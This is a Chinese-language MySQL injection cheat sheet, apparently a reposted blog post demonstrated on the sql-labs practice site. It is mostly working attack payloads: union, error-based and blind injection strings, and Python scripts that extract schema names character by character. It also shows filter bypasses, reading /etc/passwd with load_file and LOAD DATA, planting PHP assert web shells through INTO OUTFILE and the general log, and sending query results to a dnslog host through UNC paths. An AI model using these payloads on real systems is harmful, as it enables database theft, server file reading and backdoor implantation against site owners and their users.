MySQL注入及绕过备忘录

SQL注入(以Mysql为例)

大致分为有回显和无回显两类进行梳理,重心会放在盲注这一块,正则匹配等一些技巧都放在盲注部分。

使用sql-labs进行演示,在challenges数据库中在添加一个flag数据库表,并修改sql-labs源码使其回显执行的sql语句,方便演示。

image-20220416220333893

判断是否存在SQL注入

本质都是看页面是否出现异常

  1. 加单引号’、双引号”、单括号)、双括号))或者进行组合看看是否报错(字符型)。
  2. 服务器不返回报错信息时,加 and 1=1 、 and 1=2 看页面是否有变化(数字型),字符型的话还得先闭合sql语句(使用# | --+ |'单引号等闭合)。
  3. 如果没有回显信息的话,加上sleep()、benchmark() 等能产生时间延迟的函数,根据服务器响应时间进行判断。

有回显:

union注入:

最基础的注入类型,sql语句大致为:

SELECT * FROM users WHERE id='$id' LIMIT 0,1  #Less-1

获得当前表的列数:

?id=111' order by 4--+
?id=111' union select 1,2,3--+

报错就是超过列数了,几个字段通常对应页面上有几个回显位。

image-20220417004501067

image-20220417004527397

这时已经可以使用mysql函数获取一些基本信息了,如版本号以便后面注入。

  • version() /@@version:数据库的版本
  • database() :当前使用的数据库
  • @@basedir : 数据库的安装目录
  • @@datadir : 数据库文件的存放目录
  • user() : 数据库的用户
  • current_user() : 当前用户名
  • system_user() : 系统用户名
  • session_user() :连接到数据库的用户名

image-20220417004703138

获取数据库:

接下来的操作都得依赖 information_schema.tables ,这里存储了数据库的结构:数据库名、表名、列名(字段名)等。

union select 1,group_concat(schema_name),3 from information_schema.schemata--+

image-20220417010816642

获取表名:

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges' --+

image-20220417011139808

获取列名:

union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='challenges' and table_name='flag' --+

image-20220417011813932

获取字段值:

union select 1,group_concat(flag),3 from challenges.flag --+

image-20220417012001327

报错注入:

页面上没有显示位,但是能输出 sql语句执行错误信息。比如存在 mysql_error()。

通过函数之间的产生的异常,使得查询的一部分(payload)以错误回显的形式显示出来。

floor报错注入
and (select * from (select count(*) from information_schema.tables group by concat((user()),floor(rand(0)*2)))a)--+

user()处为你想查询的内容,如查询所有的数据库名:

and (select * from (select count(*) from information_schema.tables group by concat((select group_concat(schema_name) from information_schema.schemata),floor(rand(0)*2)))a)--+
ExtractValue报错注入
and extractvalue(1, payload)
UpdateXml报错注入
and updatexml(1,payload,1)

ExtractValue、UpdateXml对输出字符数会有限制,需要配合字符串截取方法。

无回显:

无回显的话需要找到判断值(如and 1=1 | and 1=2)的不同回显或者反应。

  • 回显内容、长度不同
  • 返回的HTTP头的不同,比如结果为真可能会返回Location头或者set-cookie
  • 看HTTP状态码,比如结果为真(登录成功)则3xx重定向,为假则返回200
  • 服务器响应时间

然后还需要三点:

  1. 判断表达式的真假(or and ^等逻辑运算符)

  2. 字符串截取(substr()、left()、REGEXP)

  3. 判断字符串是否相等(= > LIKE REGEXP等比较运算符)

    MySQL运算符|菜鸟教程

下面对判断表达式的真假、字符串截取和判断分别进行梳理。

布尔盲注:

判断表达式的真假

通常可用and、or、&、|| 这些,如:

1' and 1=2  1' || 1=1# 
异或注入

但在过滤了and、or 之后^异或符号就派上用处了,也就是xor注入,其基本原理:

0^1^0 --> 1 返回为真
0^0^0 --> 0 返回为假
1^0^1 --> 0 1^1^1 -->1

结果均由中间位置值决定,那么把中间的位置换成payload就行了

image-20220417231336946

image-20220417231404422

注释符号被过滤时也可以使用

image-20220417232042011

字符串截取

substr()

从字符串 s 的 n 位置截取长度为 len 的子字符串

SUBSTR(str,pos,len)

mid()

从字符串 s 的 n 位置截取长度为 len 的子字符串

MID(str,pos) | MID(str,pos,len) | MID(str FROM pos) | MID(str FROM pos FOR len)

其实上面得substr函数也可以这样操作,mid()和substr()都是substring()的同义词。

image-20220417235939803

right() | left()

从字符串 s 的右/左边开始返回n 个字符

right | left(s,n)

image-20220418001426164

right() | left()不能像substr和mid一样精准截取某一位进行比较,但可以配合ascii / ord函数一起使用(left还要加上reverse()),这两个函数会返回字符串 s 的第一个字符的 ASCII 码。通过修改返回字符数就能进行按位比较了。

image-20220418002458734

lpad | rpad

在字符串 s1 的开始处填充字符串 s2,使字符串长度达到 len

lpad | rpad(s1,len,s2)

用法和right | left差不多

image-20220419210124869

insert()

字符串 s2 替换 s1 的 pos 位置开始长度为 len 的字符串

insert(s1pos,len,s2)

img-k6QywG7o-1650817546138

insert的按位比较可以使用left那种方法,也可以对insert进行嵌套

select ascii(reverse(insert('abcde',4,999999,'')));

img-ERHkS65a-1650817546138

SELECT insert((insert('abcde',1,截取的位数,'')),2,9999999,''); #从0开始

image-20220418010945923

trim()

表示移除str这个字符串首尾(BOTH)/句首(LEADING)/句尾(TRAILING)的remstr

TRIM([{BOTH | LEADING | TRAILING} [remstr] FROM str)

如果要移除的字符是开头字符串则移除,若不是则返回原字符串

img-UGWCkaDO-1650817546139

也就是说除了首字符串以外,其他字符进行截取返回值都是一样的,那就可以用来判断首字符串了。

也就是说对两个字符i和i+1的trim截取结果进行比对,若不一样即结果为0,说明两个字符串中间有一个是正确结果。接下来对比i+1和i+2即可,若一样即结果为1,说明i+1和i+2都不是正确结果,第一位是i。

image-20220418012430324

当我们判断出第一位是'a'后,只要继续这样判断第二位,然后第三位第四位…以此类推:
img-y650q8if-1650817546139

image-20220418014325355

regexp | rlike

截取+比较的结合体

binary 目标字符串 regexp| rlike 正则

image-20220418014918863

使用binary是因为regexp | rlike匹配是大小写不敏感的,需要加上binary关键字(binary不是regexp的搭档,使用位置是字符串的前面用于描述类型,MySQL中binary是一种字符串类型)

image-20220418015318543

image-20220418015411124

判断字符串是否相等

RLIKE / REGEXP
异或
= < >
LIKE

模糊匹配,可替代等号。

image-20220418100846475

BETWEEN

expr BETWEEN 下界 AND 上界

image-20220418101155208

IN

判断是否在一个集合中,大小写不敏感,需配合binary关键字

expr1 in (expr1, expr2, expr3)

image-20220418101718717

GREATEST | LEAST

返回列表中的最大/小值,可代替比较操作符

GREATEST | LEAST(expr1, expr2, expr3, …)

image-20220419210911345

减号或取余

配合and 或者 or使用,只要在结果正确时才为0

image-20220418102917628

image-20220418102541469

order by

通过order的排序功能比较结果,比较的是数据的首字母大小,使用limit限制输出第一个,可代替> <使用

(select 'r' union select user() order by 1 limit 1)='r';
#表有多条数据时使用where限定条件,再查询比较
SELECT * from users where username='Dumb' union SELECT 1,2,'e' order BY 3 LIMIT 1;

image-20220421235214619

image-20220422002425314

image-20220422002509957

CASE

CASE s1 WHEN s2 THEN exp1 ELSE exp2 END;

image-20220418110148712

脚本模板

import requests 

url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,']
res = ''

for i in range(1,60):
    for j in string:
        payload = f" and 1=(ascii(right((select group_concat(schema_name) from information_schema.schemata),{i}))='{j}')--+"
        r = requests.get(url+payload)
        if 'You are in' in r.text:
            res = chr(j)+res
            print(res)

时间盲注:

与布尔盲注大致相同,最大的区别是直接返回0 1已经无法得知结果了,需要构造条件表达式利用相关函数进行延时反馈。

条件表达式

CASE
CASE WHEN (condition) THEN exp1 ELSE exp2 END; # 表示如果condition条件为真则返回exp1,否则返回exp2
if
if((condition), exp1, exp2);

image-20220418160759063

延时函数

sleep()
benchmark()

测试某些特定操作的执行速度,若执行次数足够大就可以产生延迟

benchmark(执行次数,特定操作)

image-20220418164603662

笛卡尔积延迟
union select count(*) from information_schema.tables a join information_schema.columns b join information_schema.columns c where (1=2) #可以使用联合查询的话直接在where后加条件

select count(*) from information_schema.tables a join information_schema.columns b join information_schema.columns c;  #不行就和sleep一样加到if或case when里面

image-20220418213851640

正则
select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');

脚本模板

import requests 

url = f"http://127.0.0.1//Less-5/?id=1'"
string = [ord(i) for i in 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789,']
res = ''

for i in range(1,60):
    for j in string:
        payload = f" and if((ascii(right((select group_concat(schema_name) from information_schema.schemata),{
      
      i}))='{
      
      j}'),sleep(3),0)--+"
        try:
            requests.get(url+payload, timeout=2)
        except:
            res = chr(j)+res
            print(res)
            break

报错盲注:

还有一种情况就是没有开具体的报错信息回显,但页面会告诉你是否出错了。

直接套用时间盲注用的条件表达式(if、case)即可,将延时函数换成会引起报错的函数。

报错函数

exp()
exp(999*(condition)); #结果数值过大报错
exp(709+(condition));

image-20220419003439273

pow
pow(999*(1=1),999)  #结果数值过大报错
cot
cot(condition) #条件为假就报错

Bypass

空格

select/**/ascii(substr('abcde',1,1))>97; # /**/注释符
select 'test',(select user() from admin limit 0,1) # 括号
select`id`from`student`; # 反引号,适用于包裹表名和列名

空白字符(url当中使用):%09,%0a,%0b,%0c,%0d,%20,%a0;

image-20220419212401053

select关键字

table student => select * from student; #mysql8可用
handler
handler users open as test;
handler test read FIRST;
handler test read next;

image-20220421212057916

show
show tables;
show columns from users;

image-20220421211205851

单引号

参数逃逸:
  • 宽字节

    数据库的gbk编码与PHP的UTF-8,和addslashes的影响下产生的单引号逃逸

    %df%27 => %df%5c%27 => 運’ (%5c为反斜杠转义符)

  • 转义一个原SQL语句的单引号产生逃逸,反正只要有单引号不配对就行

    select * from users where username = '\' and password = 'and 1=1#'
    
字符串:
  • 双引号

  • char函数

    image-20220421201331880

  • conv函数进制转换

    lower(conv(10,10,36)) # 'a'
    lower(conv(11,10,36)) # 'b'
    
  • 使用16进制

    select unhex(hex(6e6+382179)); #16进制转10进制再用科学计数法表示
    

    image-20220419214137615

逗号

offset:
limit 9 offset 4 => limt 9,4
join语句代替:
select * from users union select * from (select 1)a join (select 2)b JOIN (SELECT 3)c;
#等价于=>
select * from users union SELECT 1,2,3;

image-20220420001057059

数字/字母

false !pi()           0     ceil(pi()*pi())           10 A      ceil((pi()+pi())*pi()) 20       K
true !!pi()           1     ceil(pi()*pi())+true      11 B      ceil(ceil(pi())*version()) 21   L
true+true             2     ceil(pi()+pi()+version()) 12 C      ceil(pi()*ceil(pi()+pi())) 22   M
floor(pi())           3     floor(pi()*pi()+pi())     13 D      ceil((pi()+ceil(pi()))*pi()) 23 N
ceil(pi())            4     ceil(pi()*pi()+pi())      14 E      ceil(pi())*ceil(version()) 24   O
floor(version())      5     ceil(pi()*pi()+version()) 15 F      floor(pi()*(version()+pi())) 25 P
ceil(version())       6     floor(pi()*version())     16 G      floor(version()*version()) 26   Q
ceil(pi()+pi())       7     ceil(pi()*version())      17 H      ceil(version()*version()) 27    R
floor(version()+pi()) 8     ceil(pi()*version())+true 18 I      ceil(pi()*pi()*pi()-pi()) 28    S
floor(pi()*pi())      9     floor((pi()+pi())*pi())   19 J      floor(pi()*pi()*floor(pi())) 29 T

image-20220420001652392

https://wooyun.js.org/drops/MySQL%E6%B3%A8%E5%85%A5%E6%8A%80%E5%B7%A7.html

无列名注入(可盲注)

select arnold FROM (select 1,'arnold',3 union select * from users)any;

select b FROM (select 1,2 AS b,3 union select * from users)any;

SELECT `2` FROM (select 1,2,3 union select * from users)any;

先用union构造表的别名,然后再套个select去查询这列的值

image-20220421000551974

image-20220421001319235

image-20220421003042858

或者比较两个子查询的结果进行盲注,通过大小于号,可以逐字符检索出数据

select (SELECT 2,'de','admin')>(select * from users limit 1);

image-20220422135959307

image-20220422140018155

image-20220422140035221

join using()注列名(需有错误回显)

通过对想要查询列名的表与其自身建立内连接产生列名冗余错误,通过错误回显得到表名。

使用 USING 表达式声明内连接(INNER JOIN)条件来避免重复报错,得到后续列名.

SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)ANY) ANY;

SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)b USING(id))c;

SELECT * FROM (SELECT * from users a JOIN (SELECT *FROM users)b USING(id,username))c;

image-20220421010616643

image-20220421010728336

image-20220421010827866

无information_schema

information_schema就是个信息数据库,思路是找个能代替他的库。

InnoDB:

mysql.innodb_table_stats(mysql默认关闭InnoDB存储引擎)

sys.schemma;

基础数据来自于performance_chema和information_schema(version >= 5.7)

sys.x$schema_flattened_keys

image-20220421012409903

image-20220421012706143

image-20220421012543751

sys.schema_table_statistics

image-20220421012506025

image-20220421012645790

image-20220421012524677

sys.x$ps_schema_table_statistics_io(这个是表名最多最全的)

image-20220421014603984

sys.schema_auto_increment_columns(监控表自增id)

img-4SPqKgwn-1650817546155

sys.schema_table_statistics_with_buffer

image-20220421014248453

这里只列举了一些,更详细的可以看https://xz.aliyun.com/t/7169#toc-53

获得表名之后配合无列名注入,或者join using报错得到列名就行。

正则过滤关键字

image-20220420000838325

无order by判断字段数

where id = '1' group by 3;
where username = 'Dumb' limit 1,1 into @,@,@;

image-20220421204210442

image-20220421204230888

其他类型的注入:

二次注入

常见于用户名处,数据存入的时候经过过滤转义,但登录时,或取出来在网页上展示的时候没有做防护。

order by注入

以sql-labs Less-50为例

image-20220422003842644

可以利用order by后的一些参数进行注入,依据排列结果作为反馈

RAND(LEFT(database(),1)>'r')
RAND(LEFT(database(),1)>'s')

image-20220422005520663

image-20220422005536331

#布尔
rand(1=1)
IF(1=1,name,price)
(CASE WHEN (1=1) THEN name ELSE price END)
#报错
(select 1 regexp if(1=1,1,0x00))
updatexml(1,if(1=1,1,user()),1)
extractvalue(1,if(1=1,1,user()))
#时间
IF(ASCII(SUBSTR(database(),1,1))>115,1,sleep(1))

堆叠注入

union select不可用时,若在支持多语句执行的情况下,可利用 ;分号 执行其他恶意语句。

为了解决堆叠注入后执行的语句结果无法返回给网页的问题,可使用rename 、alter关键字修改表名、字段名,使得目标表和列顶替原来的,那就能被原定的查询语句查到了。

rename table `words` to `word`;

rename table `1919810931114514` to `words`;

alter table `words` change `flag` `id` varchar(100);

PDO模拟预处理

https://xz.aliyun.com/t/3950#toc-4

文件读写

  • secure-file-priv无值或目录名可被利用(mysql >= 5.5.53,secure-file-priv的值默认为NULL
  • 绝对目录可知
  • 对文件/目录有读/写权限

查看是否有权限

select @@secure_file_priv;
select @@global.secure_file_priv;
show variables like "secure_file_priv";

无回显的话可尝试配合 and 1=1等永真条件,根据页面回显判断是否成功

读文件

  1. LOAD_FILE的默认目录@@datadir
  2. 文件必须是当前用户可读
  3. 读文件最大的为1047552个byte, @@max_allowed_packet可以查看文件读取最大值
读取服务端文件
select load_file('D:\xampp\htdocs\www\wanju\htaccess.txt');
select load_file('/etc/hosts');
#读取文件写入表中
load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';  
读取客户端文件
#无secure-file-priv权限要求
#连接服务器时需开启 LOAD DATA LOCAL INFILE选项 --enable-local-infile
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n'; #客户端

image-20220422163114544

通过LOAD DATA LOCAL命令,服务端可以要求客户端读取有可读权限的任何文件,且服务端可以在任何查询语句后回复文件传输请求

image-20220422205110956

正常读文件的处理逻辑:

客户端:把/etc/passwd的内容存入file表中
服务端:请发送/etc/passwd内容
客户端:/etc/passwd的内容如下

但通常客户端不会主动发出这个文件内容写入请求,多为正常的增删改查,而恶意服务端则是利用可以用文件传输请求来回复任何语句这一点,直接用文件传输请求回复查询等sql操作。

客户端:查询file表的test1字段内容
恶意服务端:请发送/etc/passwd内容
客户端:/etc/passwd的内容如下

rogue_mysql_server的读文件功能就是这个原理

更多拓展攻击方式参考:CSS-T | Mysql Client 任意文件读取攻击链拓展

写文件

  1. INTO OUTFILE不会覆盖文件
  2. INTO OUTFILE必须是查询语句的最后一句
  3. 路径名是不能编码的,必须使用单引号 创建数据库导出一句话后门,secure_file_priv 需要开启
select 1,"<?php @assert($_POST['t']);?>" into outfile '/var/www/html/1.php';

select 2,"<?php @assert($_POST['t']);?>" into dumpfile '/var/www/html/1.php';

into outfile 'G:/2.txt' fields terminated by '<? phpinfo(); ?>'

outfile:

1、 支持多行数据同时导出

2、 使用union联合查询时,要保证两侧查询的列数相同

3、 会在换行符制表符后面追加反斜杠

4、会在末尾追加换行

dumpfile:

1、 每次只能导出一行数据

2、 不会在换行符制表符后面追加反斜杠(可用于写入二进制文件)

3、 不会在末尾追加换行

http://www.teagle.top/index.php/archives/157/

写入mysql日志
#查询当前mysql下log日志的默认地址,同时也看下log日志是否为开启状态,并且记录下原地址,方便后面恢复。
show variables like '%general%';

#开启日志监测(默认关闭)。
set global general_log = on;

#这里设置我们需要写入的路径就可以了。
set global general_log_file = 'C:/2.txt';

#通过查询写入马。
select '<?php phpinfo();?>';

#复原日志设置
set global general_log_file = 'D:\\phpstudy_pro\\Extensions\\MySQL5.7.26\\data\\xxx.log';

set global general_log = off;

http://sh1yan.top/2018/05/26/mysql-writ-shell/

DNSlog外带数据

利用unc路径配合load_file()函数可以用来发送dns解析请求,把查询结果放在多级域名中解析,然后能够在dns 服务器的解析日志中获取查询结果。

  • windows下可用,linux默认不可用
  • 有文件读取权限及secure-file-priv无值
  • 需要在域名中添加随机字符串,以绕过dns缓存机制发送多次请求
  • unc路径最大长度为128,可以通过使用substr、mid等字符串截取函数,每次传输特定位数的数据。
  • unc路径中不能含有空格等特殊字符,可对结果进行hex编码
  • dnslog平台:http://ceye.io/,http://www.dnslog.cn
select load_file(concat('\\\\',(select database()),'.xxx.ceye.io\\abc'));
	**UNC路径:**

​ 上面CONCAT()函数的四个反斜杠去掉两个转义用的,实际是两 个反斜杠。刚好对应Windows当中共享文件使用的网络地址格 式开头\\sss.xxx\test\,也就是UNC路径。再访问时会先进行 DNS查询

Mysql约束攻击

在SQL中执行字符串处理(如比对的时候)时,字符串末尾的空格符将会被删除

image-20220422215016468

mysql数据库中当插入某个字段的值超过了预设的长度,mysql会自动造成截断(需关闭严格模式, STRICT_TRANS_TABLES),利用这一点可用绕过数据插入前的已存在比对

admin 1的超长字符串用户,在插入数据库前先查询是否已经有存在的用户时不等于admin,但在存入数据库后变成admin ,再在登录查询时就等于admin了

image-20220423010624498

以此顶替admin用户登录

image-20220422214913948

参考:

https://www.gem-love.com/2022/01/26/%E4%B8%80%E6%96%87%E6%90%9E%E5%AE%9AMySQL%E7%9B%B2%E6%B3%A8/

https://www.smi1e.top/2018/06/19/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/

https://xz.aliyun.com/t/7169

https://nosec.org/home/detail/3830.html

https://www.jianshu.com/p/f2611257a292

https://www.anquanke.com/post/id/193512

猜你喜欢

转载自blog.csdn.net/weixin_43610673/article/details/124394591